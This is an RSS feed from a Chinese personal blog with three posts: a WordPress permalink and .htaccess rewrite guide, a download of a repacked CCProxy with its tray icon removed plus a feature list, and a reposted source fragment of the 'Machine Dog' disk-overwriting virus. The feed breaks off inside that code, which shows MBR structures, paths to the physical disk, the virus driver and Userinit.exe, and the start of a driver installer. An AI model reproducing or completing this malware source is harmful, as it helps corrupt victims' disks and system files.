<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>RobaYの乱七八糟の日记 &#187; 硬盘</title>
	<atom:link href="http://www.a-boss.com/tag/%e7%a1%ac%e7%9b%98/feed" rel="self" type="application/rss+xml" />
	<link>http://www.a-boss.com</link>
	<description>东篱把酒黄昏后，有暗香盈袖！</description>
	<lastBuildDate>Thu, 29 Jul 2010 10:55:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>PHP转化为HTML静态页面</title>
		<link>http://www.a-boss.com/2008/11/02/php%e8%bd%ac%e5%8c%96%e4%b8%bahtml%e9%9d%99%e6%80%81%e9%a1%b5%e9%9d%a2.html</link>
		<comments>http://www.a-boss.com/2008/11/02/php%e8%bd%ac%e5%8c%96%e4%b8%bahtml%e9%9d%99%e6%80%81%e9%a1%b5%e9%9d%a2.html#comments</comments>
		<pubDate>Sun, 02 Nov 2008 13:41:14 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[建站笔记]]></category>
		<category><![CDATA[技术相关]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[主机]]></category>
		<category><![CDATA[介绍]]></category>
		<category><![CDATA[合租]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[搜索引擎]]></category>
		<category><![CDATA[永久链接]]></category>
		<category><![CDATA[测试]]></category>
		<category><![CDATA[硬盘]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[空间]]></category>
		<category><![CDATA[编码]]></category>
		<category><![CDATA[静态]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/?p=696</guid>
		<description><![CDATA[静态化的好处一在于速度的提升，二是对搜索引擎的支持加强。 虽然早就知道页面静态化的好处，但却一直总认为我这么一个小小的blog，用不用都无所谓的，不会有什么明显的差别的。但今天... ]]></description>
			<content:encoded><![CDATA[<p>静态化的好处一在于速度的提升，二是对搜索引擎的支持加强。</p>
<p>虽然早就知道页面静态化的好处，但却一直总认为我这么一个小小的blog，用不用都无所谓的，不会有什么明显的差别的。但今天在合租伙伴 Steven 的建议下，还是研究试验了一下，效果远比我想像中要好的多，所以也简单写个东西介绍一下。</p>
<p>首先这要感谢我们租用的国外主机空间，给我们开放了许多的权限，比国内的空间商要强太多了。</p>
<p>方法：（只针对本主机内的wordpress合租伙伴，不保证在其它地方有效！）</p>
<p><span id="more-696"></span></p>
<p>1、登录到wordpress后台，“设置”→“永久链接”。</p>
<p>在“自定义结构”中填写永久链接的格式。</p>
<blockquote><p>其中常用的写法有：</p>
<p>样式：http://www.yourwebsite.com/123.html<br />
写法：/%post_id%.html<br />
样式：http://www.yourwebsite.com/archives/123.html<br />
写法：/archives/%post_id%.html<br />
样式：http://www.yourwebsite.com/2007/09/16/post-name.html<br />
写法：/%year%/%monthnum%/%day%/%postname%.html<br />
样式：http://www.yourwebsite.com/2007/03/post-name.html<br />
写法：/%year%/%monthnum%/%postname%.html<br />
样式：http://www.yourwebsite.com/category/post-name.html<br />
写法：  /%category%/%postname%.html<br />
样式：http://www.yourwebsite.com/archives/post-name.html<br />
写法：/archive/%postname%.html<br />
样式：http://www.yourwebsite.com/post-name.html<br />
写法：/%postname%.html</p>
<p>说明：</p>
<p>%year% 日志发布的年，4位数字，如：2004<br />
%monthnum% 日志发布的月份，2位数字，如：05<br />
%day%  日志发布当月的第几天，2位数字，如：28<br />
%hour% 日志发布时间中的“小时”，2位数字，如：15<br />
%minute%  日志发布时间中的“分钟”，2位数字，如：43<br />
%second% 日志发布时间中的“秒”，2位数字，如：33<br />
%postname%  一串处理过的日志标题。如，日志标题为“This Is A Great  Post!”，那么%postname%表示为“this-is-a-great-post”<br />
%post_id% 日志的唯一编号<br />
%category%  日志所在的分类<br />
%author% 日志的作者</p></blockquote>
<p>2、可根据喜好选择上面中的其一，保存修改！这时目录下会自动生成.htaccess文件，内容已写好，无需我们再手动修改添加。</p>
<p><a href="http://www.a-boss.com/wp-content/uploads/image005221.jpg"><img class="alignnone size-medium wp-image-698" title="image005221" src="http://www.a-boss.com/wp-content/uploads/image005221-400x238.jpg" alt="" width="400" height="238" /></a></p>
<p>3、设置完的永久链接 要等待一会才能生效。</p>
<p>另：今天在研究静态化的时候，先是碰到了 htaccess的问题，这才明白这个文件的强大作用，可惜自己已经没有心思再去研究其更多的用法，等有需要时再考虑下了。这是我找到的一篇文章中相关的一部分，转贴一下：</p>
<blockquote><p>PHP转化为HTML静态页面<br />
虽然不能保证把每个动态页面都转化为静态的HTML文件，但如果网站是驻留在Apache服务器上，则只需一个简单的小脚本就可以把大多数动态页面都转换成HTML文件。</p>
<p>1.确定需要转换成后缀为HTML的PHP文件<br />
我们的目标是那些名下包含动态子页较多的网页。以“index.php?action=show&amp;id=”为例，我们需要对 “index.php”之后的动态子页进行转换。 例如，如果网站里有一个名为“Arts and Crafts”的子目录，URL为“index.php?action=show&amp;id=1”，其它子目录和这个URL只在最后的变量上不同，因此我们需要修改当index.php之后跟随变量时服务器对它的打开方式。</p>
<p>2.通知服务器在接受一个HTML页面的调用请求后打开一个PHP文件<br />
我们需要在服务器上index.php所在的目录下放置一个.htaccess文本文件。.htaccess文件是Apache服务器上的一个目录配置设置文件，它提供了针对目录改变配置的方法，即在一特定的文档目录中放置一个包含一个或多个指令的文件(.htaccess文件)，来作用于此目录及其所有子目录。.htaccess的功能包括设置网页密码、设置发生错误时出现的文件、改变主页文件名、禁止读取文件名、重新导向文件、增加MIME类别、禁止列目录下的文件等。</p>
<p>在需要针对目录改变服务器的配置，而对服务器系统没有root权限时，应该使用.htaccess文件。如果服务器管理员不愿意频繁修改配置，则可以允许用户通过.htaccess文件自己修改配置，尤其是ISP在一台机器上提供多个用户站点，而又希望用户可以自己改变配置的情况下，一般会开放部分.htaccess的功能给使用者自行设置。对于Vdeck用户来说，可能需要先创建一个文本文件，然后在管理面板将其更名为.htaccess。现在我们需要在服务器端指定一些变量。比方说，我需要把“?action=show&amp;id=x”这个变量改成“action-x.html”，这样就能消除动态页面无法被搜索引擎检索的问题。</p>
<p>在开始创建服务器变量前，我们需要先在这个新建的.htaccess文件中创建一个Rewrite Engine (URL重写工具)。只需要在文件第一行写上<br />
RewriteEngine On<br />
这就等于告诉服务器我们要改变一些文件的处理方式。接下来的一行就要指定重写规则：<br />
RewriteRule ^action-([0-9]+)\.html$ index.php?action=show&amp;id=$1 [L,NC]<br />
这个指令表明：只要接到URL中包含“action-0.html”到“action-9.html”的任意静态网页的页面调用请求，服务器将以“index.php?变量”地址返回给调用用户。</p>
<p>先别急着编辑下一条改写规则，我们有必要在更改实际的PHP页面之前先进行一下测试。我们可以对上面的”重写规则”进行测试。首先新开一个浏览器窗口，在地址栏中输入“action-1.html”，如果我们看到的页面显示为“index.php?action=show&amp;id=1”就表明改写规则工作正常。</p>
<p>3.让搜索引擎看到我们的静态化页面<br />
现在，我们需要让搜索引擎能够看到我们经过“改头换面”的新的网页地址。那么，是不是需要赶紧把网站再向搜索引擎提交一遍呢? 不用这么费劲，我们只需打开PHP文件编辑一下就行了。不过在此之前，应记得将要修改的每个脚本都做个备份，将其存放在硬盘上。然后需要确定创建更改链接地址的程序的不同地方。最好在前端而不要在后台进行更改。PHP文件将会从.htaccess文件中得到形如 “index.php?action=show&amp;id=x”之类的信息。我们需要把这些动态生成的网页地址更改一下，并以静态化页面地址显示给用户和搜索引擎。即将所有URL中包含“index.php?action=show&amp;id=”的部分替换为“action-”，并加上.html 后缀。</p>
<p>一旦发现待修改的区域，在更改后要随时检查有无错误。如果在脚本中有错误而没有发现，纠正起来是相当棘手的，尤其在对PHP编码不熟悉的情况下。</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2008/11/02/php%e8%bd%ac%e5%8c%96%e4%b8%bahtml%e9%9d%99%e6%80%81%e9%a1%b5%e9%9d%a2.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>CCProxy 6.61 绿色去图标版!</title>
		<link>http://www.a-boss.com/2008/07/17/ccproxy-661-%e7%bb%bf%e8%89%b2%e5%8e%bb%e5%9b%be%e6%a0%87%e7%89%88.html</link>
		<comments>http://www.a-boss.com/2008/07/17/ccproxy-661-%e7%bb%bf%e8%89%b2%e5%8e%bb%e5%9b%be%e6%a0%87%e7%89%88.html#comments</comments>
		<pubDate>Thu, 17 Jul 2008 10:59:33 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[技术相关]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[CCProxy]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[s1]]></category>
		<category><![CDATA[介绍]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[广告]]></category>
		<category><![CDATA[插件]]></category>
		<category><![CDATA[测试]]></category>
		<category><![CDATA[破解]]></category>
		<category><![CDATA[硬盘]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[空格]]></category>
		<category><![CDATA[空间]]></category>
		<category><![CDATA[绑定]]></category>
		<category><![CDATA[记录]]></category>
		<category><![CDATA[资源]]></category>
		<category><![CDATA[车]]></category>
		<category><![CDATA[软件]]></category>
		<category><![CDATA[隐藏]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=161</guid>
		<description><![CDATA[不知道什么原因，一直用着的6.0突然不能用了，想再安装一遍时才发现，硬盘里的安装程序不知道什么时候已经没有了。 没办法只好架网再下载一个了，才发现居然已经升级到6.61版了，而且还... ]]></description>
			<content:encoded><![CDATA[<p>不知道什么原因，一直用着的6.0突然不能用了，想再安装一遍时才发现，硬盘里的安装程序不知道什么时候已经没有了。</p>
<p>没办法只好架网再下载一个了，才发现居然已经升级到6.61版了，而且还是绿色版的，兴致勃勃的下载下来，设置好参数，却怎么找不到隐藏的选项了？</p>
<p>原来取消这个功能了！真是晕人！</p>
<p>我不是黑客，但也不喜欢右下键的图标有它在那放着，碍眼！自己干掉它！</p>
<p>原理其实挺简单的，只占用了我不到一个小时的中午时间就搞定了。整个世界清静了！</p>
<p><a href="http://www.a-boss.com/wp-content/uploads/2008/07/ccproxy.jpg"><img class="aligncenter size-full wp-image-162" src="http://www.a-boss.com/wp-content/uploads/2008/07/ccproxy.jpg" alt="" width="500" height="345" /></a></p>
<p>可惜我的blog空间不能下载文件，否则就传上来了。有需要的联系我吧！</p>
<p>终于换成功可以下载的空间了，提供本地下载：</p>
<p><a href="http://www.a-boss.com/soft/CCProxy6.61_RobaY.rar" target="_blank">http://www.a-boss.com/soft/CCProxy6.61_RobaY去图标绿色版.rar</a></p>
<p>需要说明一点的是：如果设置了自动隐藏功能，你将不能看到程序界面，需要更新ccproxy.ini中的autohide=0保存后即可！</p>
<p><span id="more-161"></span></p>
<p><span style="#ff0000;">再转一篇关于这个程序的一些功能介绍，个别功能在新版本下已经失效！</span></p>
<p>CCProxy高级功能介绍- -</p>
<blockquote><p>代理服务器CCProxy开发了大量针对网络管理员的高级功能，下面的介绍只是关于高级功能的说明和对应的参数设置。 所有参数在修改保存后，都需要重新启动CCProxy。</p>
<p>怎样修改帐号管理所支持的帐号数</p>
<p>默认值是300。对应CCProxy.ini里的MaxUserCount。</p>
<p>怎样修改时间安排的支持数目</p>
<p>默认值是20。对应CCProxy.ini里的MaxTimeSchedule。</p>
<p>怎样修改网站过滤的支持数目</p>
<p>默认值是20。对应CCProxy.ini里的MaxWebFilter。</p>
<p>怎样修改CCProxy的同时在线支持数目</p>
<p>默认值是300。对应CCProxy.ini里的MaxConnection。</p>
<p>怎样拦截进出代理服务器的所有数据</p>
<p>本功能原来是方便用户反馈程序错误用的。在主界面上，按住Ctrl键，双击&#8221;0/0&#8243;。所有拦截的数据都保存到C:\log.dat。最多保存256K数据。此功能影响代理服务器速度，需即时关闭。对应CCProxy.ini里的BugTrace。</p>
<p>怎样在线检查CCProxy最新版本</p>
<p>此功能不会将您的电脑的任何信息发送给遥志软件，请放心使用。<br />
双击主界面上的U字母。</p>
<p>怎样修改界面的连接数曲线(绿色)的显示高度和流量带宽曲线(黄色)显示高度?</p>
<p>在界面上单击鼠标右键,在弹出的窗口中修改度默认是300和256，如图。</p>
<p>怎样调出Windows任务管理器?</p>
<p>双击主界面上的0/0。</p>
<p>怎样知道所运行的CCProxy的发布时间</p>
<p>双击主界面上的时间数字。</p>
<p>怎样快速进到CCProxy安装目录</p>
<p>按着Ctrl键，双击主界面上的时间数字。</p>
<p>怎样知道今天的农历日期</p>
<p>按着Shift键，双击主界面上的时间数字。</p>
<p>怎样实现启动CCProxy时自动拨号和关闭CCProxy时自动断线</p>
<p>对应CCProxy.ini里的DialWhenStartup和DisconnectWhenShutdown。将值设成1时，表示打开这个功能。在使用此功能前，要设置好代理服务器的拨号选项。</p>
<p>怎样让服务器拨号闲置时自动断网并关机</p>
<p>此功能由黑龙江天衣有缝提出。首先要设置好拨号闲置自动断开功能，然后将CCProxy.ini里的<br />
ShutDownWhenIdle=1。</p>
<p>怎样实现定时关机</p>
<p>CCProxy.ini<br />
[ShutDown]<br />
Enable=1<br />
Time=20:00<br />
表示20:00关机</p>
<p>CCProxy.ini<br />
[ShutDown]<br />
Enable=1<br />
Time=05:05<br />
表示05:05关机</p>
<p>此功能最好在CCProxy NT服务方式下运行，这样CCProxy可以获得更高的权限来关闭电脑</p>
<p>怎样修改网站过滤服务器返回的字符串</p>
<p>CCProxy.ini里的<br />
WebSiteForbidden对应站点过滤服务器返回的字符串。注意，要保留%s。WebContentForbidden对应内容过滤服务器返回的字符串。<br />
如果WebSiteForbidden里填写的是一个文件绝对路径名，那么服务器会读取该文件来作为过滤网站返回信息。如：WebSiteForbidden=c:\alert.htm。<br />
如果WebContentForbidden里填写的是一个文件绝对路径名，那么服务器会读取该文件来作为内容过滤返回信息。如：WebSiteForbidden=c:\alert.htm。</p>
<p>怎样修改网页身份认证里的字符串</p>
<p>CCProxy.ini里的<br />
WebAuthTitle对应认证对话框里的字符串“CCProxy Authorization”。AuthorityFailed对应认证失败后服务器返回的字符串。</p>
<p>怎样实现验证失败时显示指定的htm文件?</p>
<p>CCProxy.ini里的<br />
AuthorityFailed里输入htm文件的绝对地址。例如:AuthorityFailed=f:\1.htm,表示显示F盘根目录下的1.htm文件。</p>
<p>怎样实现帐号排序?</p>
<p>&#8220;帐号管理&#8221;→ 点击&#8221;用户名&#8221;、&#8221;IP地址&#8221;、&#8221;MAC地址&#8221;、&#8221;连接数&#8221;任一字段名即可按所选字段名排序，连续点击则分别按&#8221;降序&#8221;、&#8221;升序&#8221;分别排列。如图。确定后，将按照排序结果保存帐号。</p>
<p>怎样实现远程拨号?</p>
<p>1) 在服务器上手工建立一个拨号连接，并且测试一下这个拨号连接是否有效。<br />
2) &#8220;设置&#8221;-&gt; 选择&#8221;远程拨号&#8221;。<br />
3) &#8220;设置&#8221;-&gt;&#8221;高级&#8221;-&gt;&#8221;拨号&#8221;：在&#8221;拨号列表&#8221;中选择 1)中建立的拨号连接。在&#8221;拨号用户名&#8221;、&#8221;拨号密码&#8221;里填上正确的上网帐号信息。<br />
4) 在帐号管理中编辑或新增用户，并选择允许该用户&#8221;远程拨号&#8221;。<br />
5) 客户端的浏览器首先要设置好HTTP代理服务。然后在浏览器中输入 http://ccproxy.connect 就可以拨号了，如果客户端使用 http://ccproxy.connect.电话号码.用户名.密码，则用指定的电话号码和用户帐号信息拨号。<br />
6) 断开拨号网络连接则在浏览器中输入 http://ccproxy.disconnect</p>
<p>怎样实现通过客户端使服务器自动拨号?</p>
<p>1)&#8221;设置&#8221;-&gt; 选择&#8221;远程拨号&#8221;。<br />
2)&#8221;设置&#8221;-&gt;&#8221;高级&#8221;-&gt;&#8221;拨号&#8221;-&gt; 选择&#8221;允许自动拨号&#8221;，然后在相应代理协议前打勾。<br />
3)&#8221;帐号&#8221;-&gt; 编辑或新建帐号 -&gt; 选择&#8221;远程拨号&#8221;。<br />
这样，只要被允许的客户端使用被允许的协议（HTTP/FTP/TELNET等）就可以实现服务器自动拨号功能。</p>
<p>怎样实现隐藏任务栏图标 ?<br />
编辑ccproxy.ini，在 [System] 下增加一行Allhide=1。去掉这一行则显示图标。<br />
或：&#8221;设置&#8221;-&gt;&#8221;高级&#8221;-&gt;&#8221;其他&#8221;：选择&#8221;隐藏所有&#8221;。<br />
若要重新显示主界面，只需再运行一次CCProxy即可（CCProxy自动判断，不会在同一个目录下启动多个进程）。</p>
<p>怎样使用热键激活界面?</p>
<p>编辑CCProxy目录下的CCProxy.ini，把EnableHotKey=0改为1，然后保存文件并重启CCProxy软件。以后当软件隐藏后，只要按下&#8221;CTRL+ALT+C&#8221;，界面会重新显示。详细设置&gt;&gt;</p>
<p>怎样实现管理员密码控制?</p>
<p>&#8220;设置&#8221;-&gt;&#8221;高级&#8221;-&gt;&#8221;其他&#8221;：选择&#8221;密码保护&#8221;，然后在相应的密码框中输入密码。这样每次修改设置、增加或编辑帐号、退出程序都必须输入正确密码方可。<br />
若需要每次启动时必须输入密码则再选择&#8221;启动时需要密码&#8221;。建议一般情况下不选择。</p>
<p>怎样让客户端显示广告条?</p>
<p>这是一个相当有趣的功能，最初由上海复旦大学Hyne提出。<br />
默认状态是关闭。对应CCProxy.ini里的AddMessage。AddMessage=1，表示开放广告条功能。同时在CCProxy运行目录下写一个addmessage.htm文件(小于4096字节)，当然这个文件的编写很要技巧。<br />
提供两个非常经典的例子：ads1.zip(Hyne提供) ads2.zip(testa提供) 欢迎提供更多好的例子。<br />
另外,可以在界面中按住shift双击0/0,在弹出的对话框中选择,如图。</p>
<p>怎样往客户端发送信息?</p>
<p>客户端如果是Win98，要求已经运行了windows目录下的WINPOPUP.EXE。如果是Win2000/NT，则系统已经自带了消息接收功能。选中需要发信息的帐号点击右键，在第一个编辑框里输入接收者的机器名，第二个编辑框里输入要发送的文字，点击确定就可以发送信息到客户端了。如果上面的对话框里输入的是&#8221;*&#8221;号，可以发送到局域网里的任何一台机器。</p>
<p>怎样实时观测客户端访问内容(网站)以及客户端连接数和流量?</p>
<p>双击主界面绿色网格即可，并且双击左上角的&#8221;当前连接信息”左边那个图标，可以切换观察状态。</p>
<p>怎样实现流量统计和计费?</p>
<p>1) 在CCProxy的&#8221;设置&#8221;—&#8221;高级&#8221;—&#8221;日志&#8221;—&#8221;运行流量统计&#8221;前面打勾，并设定&#8221;流量统计间隔时间&#8221;(默认为10分钟)，这样系统会在log文件夹中生成一个文件(如data20030613.txt)，并每隔10分钟系统在该文件中写入一次流量统计数据;<br />
2) 点击&#8221;流量统计&#8221;，即可打开流量统计文件，观察到流量记录(前面的为流进数据,后面的为流出数据);<br />
3) 下载CCReport插件，可以根据统计出的流量，计算出每用户的使用费用。</p>
<p>怎样实现端口映射?</p>
<p>在&#8221;设置&#8221;页面点击&#8221;端口映射&#8221;后面的E按钮,进行相应的设置即可：</p>
<p>怎样设置二级代理?</p>
<p>&#8220;设置&#8221;-&gt;&#8221;高级&#8221;-&gt;&#8221;二级代理&#8221;：选择&#8221;启用二级代理&#8221;，在代理地址中输入上级代理服务器IP或计算机名称，选择代理协议HTTP/HTTPS/SOCKS，再输入对应的端口。若需要验证密码，则选择&#8221;需要验证&#8221;，在&#8221;用户名&#8221;、&#8221;密码&#8221;框中分别输入指定信息。需要注意的是：<br />
1) 若上级提供了SOCKS5服务，则可以为下级提供包括HTTP/FTP/GOPHER/SOCKS/RTSP/MMS/TELNET等协议在内的几乎任何服务，本程序可以全部自动转换；若上级提供了HTTPS服务，则绝大部分服务也可为下级提供，除了QQ/PP等UDP协议；若上级只提供了HTTP服务，则下级只能使用HTTP/FTP/GOPHER/SOCKS/TELNET等一般协议，RTSP/MMS等协议无法转换。 2) 6.0版支持不同的协议可以设置不同的二级代理或者不使用二级代理，即每一个协议都可以使用不同的上级代理和不同的协议或者部分协议使用上级代理，而部分协议可以不使用上级代理，也可以全部使用同一个上级代理和协议。</p>
<p>怎样同时运行多个ccproxy进程?</p>
<p>编辑ccproxy.ini，修改EnableMultiRun=1即可，但须安装在不同目录，使用不同端口。</p>
<p>怎样访问带域验证的网页?</p>
<p>可以只设置socks代理(如图)来实现访问，CCProxy要开放DNS服务和SOCKS4服务，客户端的DNS里要设置服务器的IP地址。</p>
<p>怎样结合杀毒软件检查所有通过代理发送和接收的邮件病毒?</p>
<p>编辑ccproxy.ini，修改AntiVirusGate=1表示启用邮件杀毒。目前我们测试过的软件有瑞星2003版和Norton 2003版，只要服务器上安装了这样的杀毒软件，就可以实现代理服务器邮件杀毒功能。</p>
<p>如何控制流媒体视频带宽?</p>
<p>编辑ccproxy.ini，修改[MMS]项：EnableRecord=1</p>
<p>如何屏蔽端口和屏蔽IP?</p>
<p>编辑ccproxy.ini，修改[DestDisable]项：<br />
PortDisabled=1表示启用端口屏蔽，Port=25;110;80表示屏蔽这些端口;<br />
IPDisabled=1表示启用IP屏蔽，IP=0.0.0.0-202.0.0.0表示屏蔽这个范围内的IP</p>
<p>用户通过web方式发送邮件时如何禁止发送附件?</p>
<p>在&#8221;内容过滤&#8221;里加入&#8221;;; filename=&#8221;。(注意: 在分号后面有一空格，如果有其余过滤的内容如chat等必须放在第一位，如图)</p>
<p>怎样在客户端Ping互联网地址?</p>
<p>1）首先确认CCProxy的Telnet代理已经打开。<br />
2）假设代理服务器地址是192.168.0.1，在客户端上输入命令行 telnet 192.168.0.1，然后回车。<br />
3）在提示符CCProxy Telnet&gt;后，输入你要ping的地址，如ping sina.com.cn ，然后回车。</p>
<p>在远程终端服务(Terminal Services)下运行CCProxy需要注意的事项?</p>
<p>如果在远程终端服务(Terminal Services)下运行CCProxy，而且以NT服务方式运行，需要设置CCProxy.ini里的一个参数：TerminalServices=1。显示CCProxy界面只需要再次运行CCProxy就可以了。</p>
<p>怎样在代理服务器CCProxy里巧妙的利用Auto Proxy功能?</p>
<p>在代理服务器CCProxy里巧妙的利用Auto Proxy功能,请看详细设置</p>
<p>C源代码：客户端怎样通过proxy进行连接，支持https, socks5代理?</p>
<p>客户端通过proxy进行连接，支持https, socks5代理的C源代码请看</p>
<p>如何突破屏蔽代理访问的网站?</p>
<p>有些网站屏蔽代理访问,可以通过编辑CCProxy目录下的CCProxy.ini来突破屏蔽,把EnableProxyConnection=0改为1，然后保存文件并重启CCProxy软件。详细设置&gt;&gt;</p>
<p>如何绑定服务器IP地址?</p>
<p>编辑CCProxy目录下CCProxy.ini文件,把ServerBindIP=0.0.0.0改为服务器接入线路的IP地址,然后保存文件并重启CCP roxy软件。当服务器有多条线路接入时,管理员可以通过此功能合理分配带宽资源。详细设置&gt;&gt;</p>
<p>如何让目标网站无法得知你是从哪个网站进入该网站?</p>
<p>编辑CCProxy目录下CCProxy.ini文件,把EnableReferer=0改为1,然后保存文件并重启CCProxy软件。此功能便于保密,让目标网站无法得知你是从哪个网站进入该网站的。详细设置&gt;&gt;</p>
<p>如何关闭gzip,加强广告条功能的应用范围？</p>
<p>编辑CCProxy目录下CCProxy.ini文件,把EnableGzip的值改为0,然后保存文件并重启CCProxy软件,此功能可以大大加强广告条功能的应用范围。详细设置&gt;&gt;</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2008/07/17/ccproxy-661-%e7%bb%bf%e8%89%b2%e5%8e%bb%e5%9b%be%e6%a0%87%e7%89%88.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>机器狗源码（C的）</title>
		<link>http://www.a-boss.com/2008/03/20/%e6%9c%ba%e5%99%a8%e7%8b%97%e6%ba%90%e7%a0%81%ef%bc%88c%e7%9a%84%ef%bc%89.html</link>
		<comments>http://www.a-boss.com/2008/03/20/%e6%9c%ba%e5%99%a8%e7%8b%97%e6%ba%90%e7%a0%81%ef%bc%88c%e7%9a%84%ef%bc%89.html#comments</comments>
		<pubDate>Thu, 20 Mar 2008 22:55:44 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[技术相关]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[s1]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[学习]]></category>
		<category><![CDATA[硬盘]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[资源]]></category>
		<category><![CDATA[隐藏]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=86</guid>
		<description><![CDATA[前面的日志里曾经提到过机器狗的病毒，今天上网的时候无意中看了它的源码，转过来留存下，有机会认真学习一下，了解下其原理，防范于未然！ // Test.cpp : 定义控制台应用程序的入口点。 /... ]]></description>
			<content:encoded><![CDATA[<p>前面的日志里曾经提到过机器狗的病毒，今天上网的时候无意中看了它的源码，转过来留存下，有机会认真学习一下，了解下其原理，防范于未然！</p>
<blockquote><p>// Test.cpp : 定义控制台应用程序的入口点。<br />
//<br />
#include &#8220;stdafx.h&#8221;</p>
<p>//===========================================================<br />
#include &lt;pshpack1.h&gt;<br />
typedef struct _PARTITION_ENTRY<br />
{<br />
UCHAR active;                 // 能否启动标志<br />
UCHAR StartHead;               // 该分区起始磁头号<br />
UCHAR StartSector;             // 起始柱面号高2位：6位起始扇区号<br />
UCHAR StartCylinder;           // 起始柱面号低8位<br />
UCHAR PartitionType;           // 分区类型<br />
UCHAR EndHead;                 // 该分区终止磁头号<br />
UCHAR EndSector;               // 终止柱面号高2位：6位终止扇区号<br />
UCHAR EndCylinder;             // 终止柱面号低8位<br />
ULONG StartLBA;               // 起始扇区号<br />
ULONG TotalSector;             // 分区尺寸（总扇区数）<br />
} PARTITION_ENTRY, *PPARTITION_ENTRY;</p>
<p>//============================================================<br />
typedef struct _MBR_SECTOR<br />
{<br />
UCHAR             BootCode[446];<br />
PARTITION_ENTRY   Partition[4];<br />
USHORT           Signature;<br />
} MBR_SECTOR, *PMBR_SECTOR;</p>
<p>//==========================================================<br />
typedef struct _BBR_SECTOR<br />
{<br />
USHORT JmpCode;               // 2字节跳转指令,跳转到引导代码<br />
UCHAR   NopCode;               // 1字节nop指令,填充用,保证跳转指令长3个字节<br />
UCHAR   OEMName[8];             // 8字节的OEMName</p>
<p>// 下面开始为: BPB( BIOS Parameter Block )</p>
<p>USHORT BytesPerSector;         // 每个扇区的字节数 (512 1024 2048 4096)<br />
UCHAR   SectorsPerCluster;     // 每个簇的扇区数 ( 1 2 4 8 16 32 64 128 )两者相乘不能超过32K(簇最大大小)<br />
USHORT ReservedSectors;       // 从卷的第一个扇区开始的保留扇区数目,该值不能为0，对于FAT12/FAT16，该值通常为1,对于FAT32，典型值为32<br />
UCHAR   NumberOfFATs;           // 卷上FAT数据结构的数目，该值通常应为2,[NTFS不使用NumberOfFATs字段，必须为0]<br />
USHORT RootEntries;           // 对于FAT12/FAT16,该值表示32字节目录项的数目,对于FAT32，该值必须为0；[NTFS不使用]<br />
USHORT NumberOfSectors16;     // 该卷上的扇区总数，该字段可以为0，如果该字段为0，则NumberOfSectors32不能为0；对于FAT32，该字段必须为0 [FAT32/NTFS不使用该字段]<br />
UCHAR   MediaDescriptor;       // 介质类型<br />
USHORT SectorsPerFAT16;       // 该字段标识一个FAT结构占有的扇区数（FAT12/FAT16）,对于FAT32卷，该字段必须为0；[FAT32/NTFS不使用该字段]<br />
USHORT SectorsPerTrack;       // 用于INT 0&#215;13中断的每个磁道的扇区数<br />
USHORT HeadsPerCylinder;       // 用于INT 0&#215;13中断的每个柱面的磁头数<br />
ULONG   HiddenSectors;         // 包含该FAT卷的分区之前的隐藏扇区数<br />
ULONG   NumberOfSectors32;     // 该字段包含该卷上的所有扇区数目，对于FAT32，该字段不为0；FAT12/FAT16可根据实际大小是否超过65536个扇区数决定是否采用该字段； [NTFS不使用该字段]</p>
<p>// 下面开始为: EBPB ( Extended BIOS Parameter Block )</p>
<p>ULONG   SectorsPerFAT32;       // 对于FAT32，该字段包含一个FAT的大小，而SectorsPerFAT16字段必须为0;<br />
} BBR_SECTOR, *PBBR_SECTOR;</p>
<p>#include &lt;poppack.h&gt;</p>
<p>#define PARTITION_TYPE_NTFS         0&#215;07<br />
#define PARTITION_TYPE_FAT32         0x0B<br />
#define PARTITION_TYPE_FAT32_LBA     0x0C</p>
<p>//==========================================================<br />
#define STR_SYSFILE_PATH             TEXT(&#8220;%SystemRoot%\\system32\\drivers\\pcihdd.sys&#8221;)<br />
#define STR_VIRFILE_PATH             TEXT(&#8220;%SystemRoot%\\System32\\Userinit.exe&#8221;)<br />
#define STR_DSKDEVICE_NAME           TEXT(&#8220;\\\\.\\PhysicalDrive0&#8243;)<br />
#define STR_HDDDEVICE_NAME           TEXT(&#8220;\\\\.\\PhysicalHardDisk0&#8243;)</p>
<p>//=========================================================<br />
#define IOCTL_MYDEV_BASE                 0xF000<br />
#define IOCTL_MYDEV_Fun_0xF01           CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)</p>
<p>//============================================================<br />
DWORD InstallAndStartDriver(HMODULE ModuleHandle)<br />
{<br />
TCHAR           filePath[MAX_PATH];<br />
HANDLE           fileHandle;<br />
HRSRC           hSysRes;<br />
DWORD           dwWritten;<br />
DWORD           dwSysLen;<br />
PVOID           lpSysBuf;<br />
SC_HANDLE       hSCManager;<br />
